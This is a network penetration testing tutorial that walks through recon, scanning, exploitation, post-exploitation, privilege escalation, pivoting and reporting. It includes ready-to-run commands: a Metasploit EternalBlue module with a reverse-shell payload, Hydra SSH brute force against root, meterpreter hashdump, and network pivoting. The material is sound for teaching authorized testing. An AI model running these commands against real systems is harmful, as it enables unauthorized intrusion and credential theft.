NETWORK PEN TESTING

Network Penetration Testing

Network Penetration Testing (Network Pentest) is a **simulated cyber-attack** on an organization's network to identify weaknesses in:

- Network design
- Firewalls & routers
- Servers & services
- Authentication systems
- Misconfigurations
- Access controls

A proper pentest follows:

Pentesting Phases (Standard)

1. **Reconnaissance (Passive/Active)**
2. **Scanning & Enumeration**
3. **Vulnerability Analysis**
4. **Exploitation**
5. **Post-Exploitation**
6. **Privilege Escalation**
7. **Pivoting & Lateral Movement**
8. **Reporting**

We will break all modules with tools, real commands & examples.

---

2. Module 1 — Networking Fundamentals (Advanced)

2.1 OSI Model (Exam-Ready Summary)

Layer	Function	Example Attacks
L7	Application	SQLi, XSS
L6	Presentation	Base64 abuse
L5	Session	Session hijacking
L4	Transport	SYN Flood, Port scanning
L3	Network	IP spoofing, Routing attacks
L2	Data Link	ARP Spoofing
L1	Physical	Signal jamming

2.2 TCP/IP 4-Layer Model Deep

- **Application:** HTTP, DNS, SSH
- **Transport:** TCP/UDP
- **Internet:** IP, ICMP, ARP
- **Network Access:** Ethernet, WiFi

2.3 Subnetting (Quick Cheat Sheet)

- /24 → 256 IPs
- /25 → 128 IPs
- /30 → 4 usable IPs (used for VPNs, routers)

---

3. Module 2 — Reconnaissance & Enumeration

3.1 Passive Recon

No interaction with target.

Techniques:

- WHOIS Lookup
- DNS Enumeration

- Public leaks
- Shodan / Censys queries
- Google Dorking

Commands & Tools:

whois

```
whois target.com
```

DNS Enumeration (dig)

```
dig target.com ANY
dig @1.1.1.1 target.com MX
```

dnsrecon

```
dnsrecon -d target.com -t std
```

Subdomain Bruteforcing (subfinder)

```
subfinder -d target.com -o subs.txt
```

3.2 Active Recon & Enumeration

Nmap (Core Tool)

1. Basic scan

```
nmap target.com
```

2. Service & version scan

```
nmap -sV -sC target.com
```

3. Aggressive scan

```
nmap -A target.com
```

4. Top 1000 ports

```
nmap -T4 -F target.com
```

5. Full port scan

```
nmap -p- target.com
```

6. UDP scan

```
nmap -sU target.com
```

Enum4Linux (SMB/Windows Enumeration)

```
enum4linux -a 192.168.1.10
```

SNMP Enumeration

```
snmpwalk -v2c -c public 192.168.1.10
```

---

4. Module 3 — Vulnerability Scanning

4.1 Nessus (GUI-based)

- Run full scan
- Evaluate CVSS score
- Verify with manual checks

4.2 OpenVAS

```
gvm-start
```

4.3 Nikto (Web server scanner)

```
nikto -h http://target.com
```

---

5. Module 4 — Exploitation Techniques

5.1 Using Metasploit

Search for an exploit

```
search smb
```

Use a module

```
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
```

```
run
```

5.2 Manual Exploitation Examples

SMB NULL Session

```
smbclient -L //192.168.1.10/ -N
```

SSH Brute Force (Hydra)

```
hydra -l root -P rockyou.txt ssh://192.168.1.12
```

FTP Anonymous Login

```
ftp 192.168.1.15
Username: anonymous
```

6. Module 5 — Post-Exploitation

6.1 Meterpreter Basics

Get system info

```
sysinfo
```

List processes

```
ps
```

Dump hashes

```
hashdump
```

Privilege escalation checker

```
linux-exploit-suggester.sh
winPEASx64.exe
```

---

7. Module 6 — Privilege Escalation

Windows Privesc

Find misconfigured services

```
sc qc service_name
```

Check permissions

```
icacls C:\path\file
```

Common Windows Privesc Tools

- WinPEAS
- Seatbelt
- PowerUp

Linux Privesc Commands

Find SUID binaries

```
find / -type f -perm -4000 2>/dev/null
```

Find writable files

```
find / -writable 2>/dev/null
```

Kernel exploit suggestion

```
linux-exploit-suggester
```

---

8. Module 7 — Pivoting & Lateral Movement

Meterpreter Pivoting

```
run autoroute -s 192.168.2.0/24
```

Use socks_proxy

```
use auxiliary/server/socks4a
run
```

---

9. Module 8 — Reporting & Documentation

Pentest Report Outline

1. **Executive Summary**
2. **Scope & Methodology**
3. **Findings (with Impact)**
4. **Screenshots as Proof**
5. **Remediation Plan**
6. **Appendix: Tools & Commands Used**

---

10. Tools Cheat Sheet

Category	Tools
Recon	Nmap, Masscan, Subfinder
Enum	Enum4Linux, SNMPwalk
Exploit	Metasploit, Hydra
Post-Exploit	Meterpreter, Mimikatz
Privesc	LinPEAS, WinPEAS
Reporting	Dradis, CherryTree